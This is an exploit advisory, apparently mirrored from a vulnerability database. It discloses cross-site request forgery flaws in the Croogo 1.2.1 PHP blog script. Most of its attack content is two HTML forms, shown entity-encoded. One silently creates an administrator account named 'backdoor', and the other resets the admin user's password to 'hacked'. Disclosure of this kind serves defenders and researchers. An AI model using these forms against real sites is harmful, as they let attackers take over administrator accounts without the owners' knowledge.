Croogo 1.2.1 - Multiple CSRF Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Croogo 1.2.1 has multiple CSRF vulnerabilities allowing unauthorized admin actions.

                                                [#-----------------------------------------------------------------------------------------------#]
[#] Title: Croogo 1.2.1 Multiple CSRF Vulnerabilities
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail[dot]com
[#] Date: 07. February 2010.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: Croogo
[#] Version: 1.2.1
[#] Platform: PHP
[#] Site: http://www.croogo.org
[#] Download: http://croogo.googlecode.com/files/croogo-1.2.1.zip
[#] Vulnerability: Cross Site Request Forgery
[#-----------------------------------------------------------------------------------------------#]

Croogo blog script lacks of cross site request forgery protection,
allowing us to make exploit to add new admin user or change existing
admin password.

[#]Content
 |--CSRF
    |--Add Administrator
    |--Change Administrators Password

[*] Add Administrator

[EXPLOIT------------------------------------------------------------------------------------------]
&#60;form action=&#34;/localhost/cro/admin/users/add&#34; method=&#34;post&#34;&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;_method&#34; value=&#34;POST&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;data[User][role_id]&#34; value=&#34;1&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;data[User][username]&#34; value=&#34;backdoor&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;data[User][password]&#34; value=&#34;hacked&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;data[User][name]&#34; value=&#34;thisismyname&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;data[User][email]&#34; value=&#34;[email protected]&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;data[User][website]&#34; value=&#34;website&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;data[User][status]&#34; value=&#34;1&#34;/&#62;
  &#60;input type=&#34;submit&#34; name=&#34;submit&#34; value=&#34;Submit&#34;/&#62;
&#60;/form&#62;
[EXPLOIT------------------------------------------------------------------------------------------]

[*] Change Administrators Password

In this exploit 1 is the ID of the admin user that we want to edit.

[EXPLOIT------------------------------------------------------------------------------------------]
&#60;form action=&#34;/localhost/cro/admin/users/reset_password/1&#34; method=&#34;post&#34;&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;_method&#34; value=&#34;PUT&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;data[User][id]&#34; value=&#34;1&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;data[User][username]&#34; value=&#34;admin&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;data[User][password]&#34; value=&#34;hacked&#34;/&#62;
  &#60;input type=&#34;submit&#34; name=&#34;submit&#34; value=&#34;Submit&#34;/&#62;
&#60;/form&#62;
[EXPLOIT------------------------------------------------------------------------------------------]

[#]EOF
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1